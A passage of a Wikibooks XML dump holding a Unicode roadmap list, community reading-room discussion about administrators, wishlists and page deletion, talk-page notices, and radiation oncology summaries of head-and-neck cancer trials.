* '''Kurukh Banna''' (U+16140-U+1618F)
* '''Moon''' (U+161A0-U+161FF)
* '''Blissymbols''' (U+16200-U+167FF)
* '''Woleai''' (U+16B90-U+16BFF)
* '''Kpelle''' (U+16C00-U+16C7F)
* '''Tikamuli''' (U+16C80-U+16CBF)
* '''Tangsa (Khimhun)''' (U+16CD0-U+16CFF)
* '''Afaka''' (U+16D00-U+16D3F)
* '''Kulitan''' (U+16DD0-U+16DFF)
* '''''Bopomofo Extended-A''' (U+16FA0-U+16FAF)''
* '''Kanbun Extended-A''' (U+16FB0-U+16FDF)
* '''Khitan Large Script''' (U+19200-U+199FF)
* '''Pau Cin Hau Syllabary''' (U+19E00-U+1A2FF)
* '''Eskaya''' (U+1A300-U+1A75F)
* '''Rejang Extended''' (U+1A760-U+1A77F)
* '''''Kaida''''' (U+1A780-U+1A7FF)
* '''Naxi Dongba''' (U+1A800-U+1ACFF)
* '''''Naxi Geba''' (U+1AD00-U+1AFCF)''
* '''''Kana Extended-C''' (U+1AFD0-U+1AFEF)''
* '''Shuishu Logograms''' (U+1B300-U+1B5FF)
* '''Lisu Syllabic Script''' (U+1B600-U+1B9FF)
* '''Indus''' (U+1BA00-U+1BB8F)
* '''Pitman Shorthand''' (U+1BCB0-U+1BCFF)
* '''Proto-Elamite''' (U+1BE00-U+1C37F)
* '''Linear Elamite''' (U+1C380-U+1C4FF)
* '''Ndiko Jonam''' (U+1CB30-U+1CB7F)
* '''N&lt;nowiki&gt;'&lt;/nowiki&gt;ti''' (U+1CB80-U+1CBAF)
* '''Old Chinese Musical Symbols (Flute and Pipa)''' (U+1D290-U+1D2BF)
* '''''Mathematical Alphanumeric Symbols Supplement''' (U+1D380-U+1D3FF)''
* '''Jianzi Format Controls''' (U+1DAE0-U+1DAFF)
* '''Eebee Hmong''' (U+1E150-U+1E1FF)
* '''Western Cham''' (U+1E200-U+1E26F)
* '''Loma''' (U+1E300-U+1E41F)
* '''Bagam''' (U+1E420-U+1E4CF)
* '''Pungchen''' (U+1E500-U+1E52F)
* '''''Pungchung''' (U+1E530-U+1E55F)''
* '''''Marchung''' (U+1E560-U+1E59F)''
* '''Brusha''' (U+1E5A0-U+1E5CF)
* '''''Chola''' (U+1E600-U+1E65F)''
* '''Box-Headed''' (U+1E660-U+1E6BF)
* '''Lampung''' (U+1E700-U+1E73F)
* '''Kerinci''' (U+1E740-U+1E76F)
* '''Buginese Supplement''' (U+1E770-U+1E7BF)
* '''''Lontara Bilang-Bilang''' (U+1E7C0-U+1E7DF)''
* '''N'Ko Supplement''' (U+1E960-1E97F)
* '''''Byblos''''' (U+1EB90-U+1EBFF)
* '''Persian Siyaq Numbers''' (U+1EC00-U+1EC7F)
* '''Diwani Siyaq Numbers''' (U+1ECC0-U+1ECFF)
* '''''Extended Pictographic Characters''' (U+1FC00-U+1FFFF)''

== References ==
{{reflist}}</text>
      <sha1>rtbwysnxwpr39kiaoq7g2zolful889t</sha1>
    </revision>
  </page>
  <page>
    <title>Wikibooks:Reading room/General</title>
    <ns>4</ns>
    <id>112405</id>
    <revision>
      <id>4670446</id>
      <parentid>4670354</parentid>
      <timestamp>2026-09-16T15:01:50Z</timestamp>
      <contributor>
        <username>~2026-40500-29</username>
        <id>3615407</id>
      </contributor>
      <comment>/* Who is allowed to delete pages here? */ Reply</comment>
      <origin>4670446</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="12366" sha1="gy4acpkajdiqahboka7614oicfnbepi" xml:space="preserve">__NEWSECTIONLINK__ {{Discussion Rooms}} {{Shortcut|WB:CHAT|WB:RR/G|WB:GENERAL}} {{TOC left|limit=3}}
{{User:MiszaBot/config
|archive = Wikibooks:Reading room/Archives/%(year)d/%(monthname)s
|algo = old(60d)
|counter = 1
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Welcome to the '''General reading room'''. On this page, Wikibookians are free to talk about the Wikibooks project in general. For proposals for improving Wikibooks, see the [[../Proposals/]] reading room.
{{clear}}

[[Category:Reading room]]

== Request for comment (the future of Abstract Wikipedia) ==

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot; class=&quot;mw-content-ltr&quot;&gt;You are invited to voice your opinions in a [[:m:Requests for comment/The future of Abstract Wikipedia|request for comment about the future of Abstract Wikipedia]]. {{Int:Feedback-thanks-title}} [[:m:User:Kowal2701|Kowal2701]] ([[:m:User talk:Kowal2701|talk]])  12:24, 24 July 2026 (UTC)&lt;/bdi&gt;
&lt;!-- Message sent by User:DreamRimmer@metawiki using the list at https://meta.wikimedia.org/w/index.php?title=Distribution_list/Global_message_delivery&amp;oldid=30513860 --&gt;

== Call for administrators ==

Any experienced editor who has a good understanding of Wikibooks' policies should consider applying for administrator permissions at [[Wikibooks:Requests for permissions]]. Thank you. [[User:Codename Noreste|&lt;span style=&quot;color: blue&quot;&gt;Codename Noreste&lt;/span&gt;]] ([[User talk:Codename Noreste|discuss]] • [[Special:Contributions/Codename Noreste|contribs]]) 22:10, 5 August 2026 (UTC)

:Is there a page here that describes what admins do? I am curious because I checked [https://en.wikibooks.org/wiki/Special:ListUsers?username=&amp;group=sysop&amp;wpsubmit=&amp;wpFormIdentifier=mw-listusers-form&amp;limit=50 List of admins] and I see that there are already quite a few admins here and wonder which areas have a shortage.
:Just curious. [[Special:Contributions/~2026-40500-29|~2026-40500-29]] ([[User talk:~2026-40500-29|talk]]) 00:56, 16 September 2026 (UTC)
::[[Wikibooks:Administrators]]. ―[[User:Koavf|Justin (&lt;span style=&quot;color:grey&quot;&gt;ko'''a'''&lt;span style=&quot;color:black&quot;&gt;v&lt;/span&gt;f&lt;/span&gt;)]]&lt;span style=&quot;color:red&quot;&gt;❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯&lt;/span&gt; 01:09, 16 September 2026 (UTC)

== August 2026 Wikimedia Café meetups regarding [https://meta.wikimedia.org/wiki/Next_25 Next 25] ==

&lt;div class=&quot;border-box&quot; style=&quot;background-color: var(--background-color-warning-subtle, #f8eaba); max-width: 875px; padding: 5px; border: 1px solid black; margin: 5px; color: var(--clr-dark)&quot;&gt;
&lt;div class=&quot;box&quot; style=&quot;float:left; padding-top: 10px; padding-right: 10px; padding-left: 10px; padding-bottom: 10px;&quot;&gt;[[File:Wikimedia Café logo in plain SVG format.svg|60px|alt=The logo for the Wikimedia Café]]&lt;/div&gt;
Hello! There will be two '''[https://meta.wikimedia.org/wiki/Wikimedia_Caf%C3%A9 Wikimedia Café]''' discussion opportunities in August. Both sessions will focus on [https://meta.wikimedia.org/wiki/Next_25 the Next 25 initiative], including [https://meta.wikimedia.org/wiki/Next_25/A_proposal_to_frame_Next_25 framing the initiative]. Participants may attend either or both Café sessions. 


#'''29 August 2026 15:00 UTC''' ([https://zonestamp.toolforge.org/1788015600 timestamp converter]), at a time friendly to the Americas, Africa, and Europe
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Please see the [https://meta.wikimedia.org/wiki/Wikimedia_Caf%C3%A9 Café] page for more information, including [https://meta.wikimedia.org/wiki/Wikimedia_Caf%C3%A9#Agenda._This_will_be_an_approximately_1_hour_Caf%C3%A9_session agenda details] and [https://meta.wikimedia.org/wiki/Wikimedia_Caf%C3%A9#How_to_attend_the_session how to register]!

To subscribe or unsubscribe for Café notices on your talk page please [https://meta.wikimedia.org/wiki/Global_message_delivery/Targets/Wikimedia_Caf%C3%A9 go here].
&lt;br /&gt;
[[File:Buntstifte Eberhard Faber crop 64h.jpg|860px|alt=cropped image of colored pencils]]&lt;/div&gt;
&lt;span style=&quot;white-space:nowrap;&quot;&gt;[[User:Pine|&lt;span style=&quot;color:#01796f; text-shadow:#00BFFF 0 0 1.0em&quot;&gt;༄ᨒ𖠰 Pine&lt;/span&gt;]] [[User talk:Pine|&lt;span style=&quot;color:DeepSkyBlue&quot;&gt;(&lt;b style=&quot;color:#FFDF00;text-shadow:#FFDF00 0 0 1.0em&quot;&gt;✉&lt;/b&gt;)&lt;/span&gt;]]&lt;/span&gt; 01:32, 17 August 2026 (UTC)

== Wikibooks project is not defined by goal ==

If it is for texbooks why is it called Wikibooks? It should be called Wikitextbooks! If it is for textbooks why does it contain cookbooks? For textbooks it's not supposed to have a [[Wikibooks:Featured books]]. [[User:Vivairan2|Vivairan2]] ([[User talk:Vivairan2|discuss]] • [[Special:Contributions/Vivairan2|contribs]]) 09:20, 1 September 2026 (UTC)

:It's &quot;textbooks&quot; broadly construed: guides, manuals, how-tos, etc. ―[[User:Koavf|Justin (&lt;span style=&quot;color:grey&quot;&gt;ko'''a'''&lt;span style=&quot;color:black&quot;&gt;v&lt;/span&gt;f&lt;/span&gt;)]]&lt;span style=&quot;color:red&quot;&gt;❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯&lt;/span&gt; 11:15, 1 September 2026 (UTC)
::So we should change &quot;Wikibooks:Featured books&quot; to &quot;Wikibooks:Featured texts&quot;. [[User:Vivairan2|Vivairan2]] ([[User talk:Vivairan2|discuss]] • [[Special:Contributions/Vivairan2|contribs]]) 11:17, 1 September 2026 (UTC)
:::I disagree and even if I agreed, it would be priority #49,389. ―[[User:Koavf|Justin (&lt;span style=&quot;color:grey&quot;&gt;ko'''a'''&lt;span style=&quot;color:black&quot;&gt;v&lt;/span&gt;f&lt;/span&gt;)]]&lt;span style=&quot;color:red&quot;&gt;❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯&lt;/span&gt; 11:20, 1 September 2026 (UTC)
::::It's according to community consensus that says this website contains textbooks not books. [[User:Vivairan2|Vivairan2]] ([[User talk:Vivairan2|discuss]] • [[Special:Contributions/Vivairan2|contribs]]) 11:23, 1 September 2026 (UTC)
:::::&quot;[[wb:WIW|Simply, Wikibooks is a collection of open-content textbooks.]]&quot; [[User:Vivairan2|Vivairan2]] ([[User talk:Vivairan2|discuss]] • [[Special:Contributions/Vivairan2|contribs]]) 11:26, 1 September 2026 (UTC)
:Most textbooks are made by collaboration of some authors, co-authors and editors. Wikibooks help pages and guidelines remain silent when it comes to stages of writing a new texbooks. Even [[Using Wikibooks]] is not complete emough for enthusiasts. --[[User:Vivairan2|Vivairan2]] ([[User talk:Vivairan2|discuss]] • [[Special:Contributions/Vivairan2|contribs]]) 18:13, 3 September 2026 (UTC)

== Wishlist 2027, invitation to share feedback ==

Hi, I’m [[m:User:SPerry-WMF|Sonja]] and I lead some of the [[mw:Contributors|teams]] at the Foundation who will be responsible for picking up wish work under the new wishlist process.

As you may know, the [[m:Community_Wishlist|Community Wishlist]] started out as an annual process through which Wikimedia contributors submit and vote on technical improvements they would like the Wikimedia Foundation to work on. The main goal of it is and has been to improve the editing experience by making changes and features the community asks for specifically.

In recent years, the process behind the wishlist has changed, and we’ve heard from many of you that it no longer meets many community members’ needs. So now, the Foundation is designing a new process with the community to improve how wishes are triaged, voted on, and prioritized in a way that is transparent, balanced across project families and language editions, and takes into account what the Foundation can deliver.

I would like to get community input specifically on these three stages of the Wishlist process:

* The [[m:Special:MyLanguage/Community_Wishlist/Community_Wishlist_2027#triage|'''triage stage''']], meaning how wishes are fleshed out, organized and filtered prior to voting
** We recommend to have a working group, including volunteers from various wikis and Wikimedia Foundation staff to work through this together
* The [[m:Special:MyLanguage/Community_Wishlist/Community_Wishlist_2027#vote|'''voting stage''']], including who may vote and how votes are structured
* The [[m:Special:MyLanguage/Community_Wishlist/Community_Wishlist_2027#postvote|'''post-vote stage''']], including how to bring equity into what work is prioritized
** One way to do this is to rank wishes within 3 categories: Large Wikipedias or covering all wikis, small and medium-sized Wikipedias, and '''sister projects''', so that top-voted wishes from smaller projects also get attention

This message is an abstract of the full proposed process. As you [[m:Special:MyLanguage/Community_Wishlist/Community_Wishlist_2027|read the proposed ideas on Meta]] (available in your language), please speak up about whether you think this will work well or if there are ways to make it stronger.

Regarding the timeline, this consultation is open for two weeks. You can post your feedback on Meta (in your preferred language) or in response below.

For this year’s cycle, [[m:Special:MyLanguage/Community_Wishlist/Community_Wishlist_2027#timeline|we plan]] to have the wish submission period in late October/early November and the triage process completed by late November. To respect the end-of-year holiday season, voting would happen in early to mid January. This first voting cycle is meant as a first step to try out a new process, and there will be more opportunities to provide feedback along the way, so that we can figure out the best process for future years together.

[[oldwikisource:M:User:SPerry-WMF|SPerry-WMF]], delivered by [[User:Trizek (WMF)|Trizek (WMF)]] ([[User talk:Trizek (WMF)|discuss]] • [[Special:Contributions/Trizek (WMF)|contribs]]) 13:52, 1 September 2026 (UTC)

== How Do I Get My Book On A Shelf? ==

Help, I don't know how shelves work. I don't know how to put my book on a shelf. Can anyone help?
The book is called''' Art And AI''' [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 23:00, 8 September 2026 (UTC)
: Which shelf are you referring? [[User:Codename Noreste|&lt;span style=&quot;color: blue&quot;&gt;Codename Noreste&lt;/span&gt;]] /// [[User talk:Codename Noreste|⭐️✨]] 14:45, 10 September 2026 (UTC)

== Who is allowed to delete pages here? ==
On Aug 14, 2026 a user by the name of Max deleted a page I created in my user space. I don't see max in the list of admins here. Do they have the right to delete pages? Is there any documentation here I can consult?

Thanks in advance, [[Special:Contributions/~2026-40500-29|~2026-40500-29]] ([[User talk:~2026-40500-29|talk]]) 22:38, 15 September 2026 (UTC)

:We have local admins who have the technical ability to delete pages and virtually all material deleted here would be done by us (I'm one of them). A fairly small amount of users have global rights across all Wikimedia Foundation wikis and they will very rarely make deletions (e.g. if there are some kind of legal implications to material). [[User:Ottawahitech/American politics]] was deleted by [[User:Max]], who has [[Special:UserRights/Max|no special rights here]] but is one of the [[:m:Global sysops|global sysops]] I mentioned earlier. ―[[User:Koavf|Justin (&lt;span style=&quot;color:grey&quot;&gt;ko'''a'''&lt;span style=&quot;color:black&quot;&gt;v&lt;/span&gt;f&lt;/span&gt;)]]&lt;span style=&quot;color:red&quot;&gt;❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯&lt;/span&gt; 22:55, 15 September 2026 (UTC)
: Probably unrelated to the above, but Ottawahitech should do that with their account, unless if they are blocked. [[User:Codename Noreste|&lt;span style=&quot;color: blue&quot;&gt;Codename Noreste&lt;/span&gt;]] /// [[User talk:Codename Noreste|⭐️✨]] 23:33, 15 September 2026 (UTC)
::Agreed and [[User:Ottawahitech]] is not blocked here, so no idea why he's using a temp account. ―[[User:Koavf|Justin (&lt;span style=&quot;color:grey&quot;&gt;ko'''a'''&lt;span style=&quot;color:black&quot;&gt;v&lt;/span&gt;f&lt;/span&gt;)]]&lt;span style=&quot;color:red&quot;&gt;❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯&lt;/span&gt; 23:43, 15 September 2026 (UTC)
:::There may be many reasons registered users are &quot;editing&quot; without logging in. Is it possible that they want to go about peacefully without attracting too much attention? [[Special:Contributions/~2026-40500-29|~2026-40500-29]] ([[User talk:~2026-40500-29|talk]]) 15:01, 16 September 2026 (UTC)</text>
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    <title>User talk:Bmsss</title>
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      <contributor>
        <username>Kittycataclysm</username>
        <id>3371989</id>
      </contributor>
      <comment>Notifying author of speedy deletion nomination</comment>
      <origin>4670430</origin>
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      <text bytes="4651" sha1="ey4uehr75ill1whfdz8zgo3cf8wcmde" xml:space="preserve">Hello {{PAGENAME}}, '''[[Wikibooks:Welcome, newcomers|welcome]] to [[Wikibooks]]'''!

{| style=&quot;background:white; border:1px solid #abd5f5;; padding:0px; border-spacing:0px;&quot;
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Good luck! --[[User:Herbythyme|&lt;span style=&quot;color: green;&quot;&gt;Herby&lt;/span&gt;]] &lt;b&gt;&lt;sup&gt;&lt;small&gt;&lt;span style=&quot;color:#90F&quot;&gt;[[User talk:Herbythyme|talk thyme]]&lt;/span&gt;&lt;/small&gt;&lt;/sup&gt;&lt;/b&gt; 15:33, 1 June 2007 (UTC)

== [[Introduction and Table of Contents]] ==

Hi - can you take a look at the naming policy in the &quot;welcome&quot; above.  The page here is not correctly named to be part of Wikibooks.  It should be a sub page of whatever the main book is you are creating.  There is no need to recreate it - use the &quot;move&quot; tab to rename it - thanks --[[User:Herbythyme|&lt;span style=&quot;color: green;&quot;&gt;Herby&lt;/span&gt;]] &lt;b&gt;&lt;sup&gt;&lt;small&gt;&lt;span style=&quot;color:#90F&quot;&gt;[[User talk:Herbythyme|talk thyme]]&lt;/span&gt;&lt;/small&gt;&lt;/sup&gt;&lt;/b&gt; 15:33, 1 June 2007 (UTC)
:Please do take a look at naming policy.  Equally &quot;redlinks&quot; on pages are the way it should be until there is an actually page there.  Thanks --[[User:Herbythyme|&lt;span style=&quot;color: green;&quot;&gt;Herby&lt;/span&gt;]] &lt;b&gt;&lt;sup&gt;&lt;small&gt;&lt;span style=&quot;color:#90F&quot;&gt;[[User talk:Herbythyme|talk thyme]]&lt;/span&gt;&lt;/small&gt;&lt;/sup&gt;&lt;/b&gt; 16:01, 1 June 2007 (UTC)
::Will you '''please''' check out how to name stuff &amp; policy rather than just doing it - it will make your life much easier as time goes by - thanks --[[User:Herbythyme|&lt;span style=&quot;color: green;&quot;&gt;Herby&lt;/span&gt;]] &lt;b&gt;&lt;sup&gt;&lt;small&gt;&lt;span style=&quot;color:#90F&quot;&gt;[[User talk:Herbythyme|talk thyme]]&lt;/span&gt;&lt;/small&gt;&lt;/sup&gt;&lt;/b&gt; 17:16, 1 June 2007 (UTC)
== I have added a tag to a page you created ==
Hi! I'm Kittycataclysm, and I recently reviewed your page, [[:Ohio 7th Grade World History/Introduction to the Middle Ages]]. I have added a tag to the page, because it &lt;strong&gt;may meet the [[Wikibooks:Deletion policy#Speedy deletions|criteria for speedy deletion]].&lt;/strong&gt; This means that it can be deleted at any time.  If you believe that your page should not be deleted, please post a message on [[Talk:Ohio 7th Grade World History/Introduction to the Middle Ages|the page's talk page]] explaining why. &lt;strong&gt;If your reasoning is convincing, your page may be saved.&lt;/strong&gt; If you have any questions or concerns, please [[User talk:Kittycataclysm|let me know]]. Thank you! &lt;!-- Substituted from User:JJPMaster/CurateThisPage/authorMsg --&gt; —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 13:46, 16 September 2026 (UTC)</text>
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  <page>
    <title>Ohio 7th Grade World History/Introduction to the Middle Ages</title>
    <ns>0</ns>
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      <contributor>
        <username>Kittycataclysm</username>
        <id>3371989</id>
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      <comment>Marking for speedy deletion: [[WB:NMC|Abandoned material with no improvement after seven days]]</comment>
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      <text bytes="572" sha1="6c0vspzlf98m9s0ndsp2uyluzk7jjfx" xml:space="preserve">&lt;noinclude&gt;{{Delete|example=false|[[WB:NMC|Abandoned material with no improvement after seven days]]}}&lt;/noinclude&gt;
Imagine living where disease was common, and fighting was of great significance? This time was called Feudalism, the system of obligations that governed the relationships between lords and vassals in medieval Europe, was a main idea then. The following is about the Renaissance, the period of “rebirth” and creativity that followed Europe’s Middle Ages, and the Middle Ages, which is a period that lasted from about 500-1500 AD in Europe.

{{BookCat}}</text>
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    <title>Radiation Oncology/Head &amp; Neck/Larynx/Supraglottis</title>
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==Anatomy==
*Subsites of the supraglottic larynx:  epiglottis, arytenoid cartilages, false cords, aryepiglottic folds
*Major lymphatic drainage of supraglottic larynx are levels II, III, IV.
*55% clinically positive nodes at diagnosis, 16% bilateral
*'''Anatomic Landmarks'''
**Hyoid bone - C3
**Superior border of thyroid cartilage - C4
**Cricoid cartilage - C6

==Staging==
'''AJCC Staging System'''
*''Tumor''
**T1 - limited to one subsite, normal vocal cord mobility
**T2 - more than one adjacent subsite of supraglottis or glottis or regional outside the supraglottis (e.g., mucosa of base of tongue, vallecula, medial wall of pyriform sinus), but no fixation of vocal cords
**T3 - vocal cord fixation, or invasion of the following: postcricoid area, pre-epiglottic tissues, paraglottic space, or minor thyroid cartilage erosion (inner cortex)
**T4a - invades through thyroid cartilage or invades tissues beyond the larynx (trachea, soft tissue of neck, extrinsic muscles of the tongue, strap muscles, thyroid, esophagus)
**:Note: extrinsic muscles of the tongue are: genioglossus, hyoglossus, styloglossus, and palatoglossus
**T4b - invades prevertebral space, carotid, or mediastinum

*''Nodes'' (same as for most H&amp;N sites)
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*''Metastasis''
**M0 - none
**M1 - yes

''Stage Grouping''
*Stage I - T1N0
*Stage II - T2N0
*Stage III - T3N0, T1-3N1
*Stage IVA - T4a or N2
*Stage IVB - T4b or N3
*Stage IVC - M1

==Treatment==
*T1 and favorable T2N0 can be treated w/ definitive xrt or larynx conserving surgery.  
*Unfavorable T2N0 can be treated w/ definitive chemoxrt or larynx conserving surgery.
*Indications for postoperative xrt include:  close/positive margins, LVI, PNI
*Locally advanced disease should be treated with definitive chemoxrt


===Pre-op RT vs. Post-op RT===
*'''RTOG 73-03''' (1973-1979)
**Randomized. 320 patients. Operable stage T2-T4 any N (but not fixed); oral cavity, oropharynx, supraglottic larynx, hypopharynx, or maxillary sinus. Arm 1) Pre-op RT 50 Gy vs. Arm 2) Post-op RT 60 Gy. In addition, OC and OP lesions may be randomized Arm 3) definitive RT 65-70 Gy, with surgery reserved for salvage (n=43). 
**'''10-years; 1999''' {{PMID|1993628}} &amp;mdash; &quot;Randomized study of preoperative versus postoperative radiation therapy in advanced head and neck carcinoma: long-term follow-up of RTOG study 73-03.&quot; (Tupchong L et al. Int J Radiat Oncol Biol Phys. 1991 Jan;20(1):21-8.)
***Only pre-op vs. post-op subset (n=277). Oral cavity (14%), oropharynx (17%), hypopharynx (43%), &lt;u&gt;supraglottic larynx (26%)&lt;/u&gt; 
***Outcome: LRC pre-op 58% vs. post-op 70% (SS), &lt;2 years no difference (failures 59% vs. 58%), but marked &gt;2 years (failures 27% vs 8%); OS no difference due to late (&gt;2 years) deaths from DM and from second primaries
***&lt;u&gt;Supraglottic larynx&lt;/u&gt;: LRC pre-op 53% vs. post-op 77% (SS); 78% failures &lt;2 years
***Toxicity: no difference
***Conclusion: Post-op RT better for LRC (especially in SGL), but no impact on OS due to distant failure and second primaries
**Comment: some argument for definitive chemoRT instead of surgery and post-op RT since after 2 yrs, distant mets are primary cause of failure resulting in similar 10 OS in this trial. LRC still better for post-op vs definitive RT alone. Also, different doses used, at the time believed equivalent given the setting


===Definitive RT===
*'''Varese, Italy, 1997''' (1983-92) {{PMID|9282245}} -- Spriano G et al.  &quot;Conservative management of T1-T2N0 supraglottic cancer: a retrospective study.&quot; Am J Otolaryngol. 1997 Sep-Oct;18(5):299-305.
**166 pts w/ SGL CA tx'd w/ larynx conserving surgery or definitive xrt
**DFS 88% (surg) vs 76% (xrt)
**Ultimate local control for xrt was 92% if salvage surgery was taken into account.
**Likely of salvage rescuing a local failure was ~50%.
**Larynx preservation rate was 95% (surg) vs 72% (xrt)

*'''Rotterdam, 1990''' (1965-79) {{PMID|2298616}}  -- Hoekstra CJ et al.  &quot;Squamous cell carcinoma of the supraglottic larynx without clinically detectable lymph node metastases: problem of local relapse and influence of overall treatment time.&quot;  Int J Radiat Oncol Biol Phys. 1990 Jan;18(1):13-21.
**203 pts w/ SCC of SGL tx'd curatively.  193 tx'd w/ primary xrt reserving surgery for salvage; re-evaluation occurred at 40 Gy and definitive course to 60-70 Gy was given if pts had response at re-eval.  33 pts required surgery.
**53% RFS for T2, 39% RFS for T4

===Hyperfractionation===
*'''MDACC, 1989''' (1984-87) {{PMID|2808039}} -- Wendt CD et al.  &quot;Hyperfractionated radiotherapy in the treatment of squamous cell carcinomas of the supraglottic larynx.&quot; Int J Radiat Oncol Biol Phys. 1989 Nov;17(5):1057-62.
**41 pts w/ SCC of SGL tx'd w/ 1.2 Gy BID to 72-79 Gy (76.8 median).
**Local control rates improved w/ hyperfractionation over historical MDACC controls (96% vs 82% at 1 yr, 87% vs 76% at 2 yrs).


*'''MGH, 1986''' (1979-84) {{PMID|3943989}} -- Wang CC et al.  &quot;Twice-a-day radiation therapy for supraglottic carcinoma.&quot; Int J Radiat Oncol Biol Phys. 1986 Jan;12(1):3-7.
**106 pts tx'd w/ 1.6 Gy BID to 64 Gy in split course compared to 79 pts tx'd w/ conventional fractionation to 65 Gy
**3yr local control was 76% (hyperfractionated) vs 50% (conventional)
**3yr local control for T1/T2 was 88% vs 63%
**3yr local control for T3/T4 was 66% vs 33%


===Induction Chemo-RT vs. Primary RT alone===
*'''RTOG 68-01''' -- methotrexate
**Randomized. 638 patients, Stage III-IV oral cavity (23%), oropharynx (55%), &lt;u&gt;supraglottic larynx (12%)&lt;/u&gt;, hypopharynx (10%). Arm 1) RT alone vs. Arm 2) IV MTX 25 mg q3d x5 followed by RT. RT 55-80 Gy
**'''1980''' {{PMID|7410127}} -- &quot;Adjuvant intravenous methotrexate or definitive radiotherapy alone for advanced squamous cancers of the oral cavity, oropharynx, supraglottic larynx or hypopharynx.&quot; (Fazekas JT, Int J Radiat Oncol Biol Phys. 1980 May;6(5):533-41.)
***Outcome: median OS RT vs. MTX-RT: oral cavity 11.8 mo vs. 12.4 mo, oropharynx 13.6 mo vs. 13.1 mo, &lt;u&gt;SGL 17.2 mo vs. 19.2 mo&lt;/u&gt;, hypopharynx 9.7 mo vs. 13.4 mo
***Conclusion: Minimal gain, induction methotrexate should not be used

===Salvage Surgery===
*'''Gainesville, 1995''' (1964-91) {{PMID|7790245}} -- Parsons JT et al.  &quot;Salvage surgery following radiation failure in squamous cell carcinoma of the supraglottic larynx.&quot;  Int J Radiat Oncol Biol Phys. 1995 Jun 15;32(3):605-9.
**206 pts tx'd curatively w/ xrt.  46 pts had local failure (22%).  Deemed successful surgical salvage if NED at 2 yrs.
**26 pts had total laryngectomy, 4 had voice sparing salvage procedure.
**Most failures after salvage were b/c of inability to control local dz.
**Rate of post-surgical complications 37%
**1/2 to 2/3 of pts w/ local failure undergo salvage surgery.  25-30% long term DFS in this population.


==Other Resources==
*[https://www.astro.org/uploadedFiles/Affiliates/ARRO/Resident_Resources/Educational_Resources/Case_Vingettes/ARROCase%20Supraglottic%20Larynx%20Pranshu%20Mohindra.pdf ARRO Case- Supraglottic Larynx]
*[https://www.astro.org/uploadedFiles/Affiliates/ARRO/Resident_Resources/Educational_Resources/Case_Vingettes/ARROContour%20Supraglottic%20Ca%20Pranshu%20Mohindra%20.pdf ARRO Contour- Supraglottic Larynx]</text>
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==General Head &amp; Neck==
===Surgery===
====Surgical Technique====
*'''RTOG 85-30''' (1989-1994)
**Randomized. 125 patients. Arm 1) standard surgery vs. Arm 2) surgery + cricopharyngeal myotomy
**'''1999''' {{PMID|10488976}} -- &quot;Failure of cricopharyngeal myotomy to improve dysphagia following head and neck cancer surgery.&quot; (Jacobs JR, Arch Otolaryngol Head Neck Surg. 1999 Sep;125(9):942-6.)
***Outcome: No difference in oropharyngeal swallowing efficiency at 6 months
***Conclusion: No benefit for cricopharyngeal myotomoy

====Surgery + RT vs Primary RT====
*'''Scottland''' (1991-1993) -- Surgery + post-op RT vs radical RT
**Randomized. ''Trial closed prematurely after significant survival benefit for combined arm.'' 35 of expected 350 patients, 4 institutions, oral cavity/oropharynx, excluded T1N0.  Arm 1) Surgery + postop RT 60/30 vs Arm 2) radical RT 66/33 alone. Only 50% and 41% of patients respectively received XRT as planned, mainly due to machine breakdown
**'''1998''' {{PMID|9704176}} -- &quot;Early closure of a randomized trial: surgery and postoperative radiotherapy versus radiotherapy in the management of intra-oral tumours.&quot; (Robertson AG, Clin Oncol (R Coll Radiol). 1998;10(3):155-60.) Median F/U 1.9 years
***Outcome: OS combined arm 53% vs. RT 11% (HR 0.24, SS); DSS 65% vs 33% (SS). Residual local disease 0% vs. 53% (SS)
***Conclusion: Surgery with postop RT superior to radical RT alone

====Surgery + RT vs. Primary Chemo-RT====
*'''Singapore''' (1996-2000)
**Randomized. ''Stopped early due to slow accrual.'' 199 patients, resectable Stage III/IV SCHNC excluding NPC and salivary glands (larynx 32% (supraglottis 23%), oral cavity 27%, oropharynx 21%, hypopharynx 12%). T4 56%. Arm 1) surgery + adjuvant RT 60/30 vs. Arm 2) RT 66/33 + concurrent cisplatin 20 mg/m2 + 5-FU 1000 mg/m2 x2 cycles. 90% received at least 1 cycle of chemo
**'''2005''' {{PMID|16012523}} -- &quot;Surgery and adjuvant radiotherapy vs concurrent chemoradiotherapy in stage III/IV nonmetastatic squamous cell head and neck cancer: a randomised comparison.&quot; (Soo KC, Br J Cancer. 2005 Aug 8;93(3):279-86.) Median F/U 6 years
***Outcome: 3-year DFS: S+RT 50% vs. chemo-RT 40% (NS). Organ preservation (larynx/hypopharynx 68%, oropharynx 55%, oral cavity 21%, paranasal sinus 0%). Chemo-RT group had poor surgical salvage of 47%, with no long-term survivors
***Conclusion: Chemo-RT not superior to surgery+RT, but can be attempted for organ preservation in larynx, hypopharynx, and oropharynx


===Postoperative RT===
====Pre-op RT vs. Post-op RT====
*'''RTOG 73-03''' (1973-1979)
**Randomized. 320 patients. Operable stage T2-T4 any N (but not fixed); oral cavity, oropharynx, supraglottic larynx, hypopharynx, or maxillary sinus. Arm 1) Pre-op RT 50 Gy vs. Arm 2) Post-op RT 60 Gy. In addition, OC and OP lesions may be randomized Arm 3) definitive RT 65-70 Gy, with surgery reserved for salvage (n=43). 
**'''5-years; 1987''' {{PMID|3449477}} &amp;mdash; &quot;Combined radiation therapy and surgery in the management of advanced head and neck cancer: final report of study 73-03 of the Radiation Therapy Oncology Group.&quot; (Kramer S et al. Head Neck Surg. 1987 Sep-Oct;10(1):19-30.) Median F/U 5 years
***Outcome: LRC post-op 65% vs pre-op 48% (SS). Higher rate of persistent disease and recurrence in pre-op. Trend toward improved survival, 38% vs 33% (p=0.1). 
***Toxicity: Complication rate similar. 
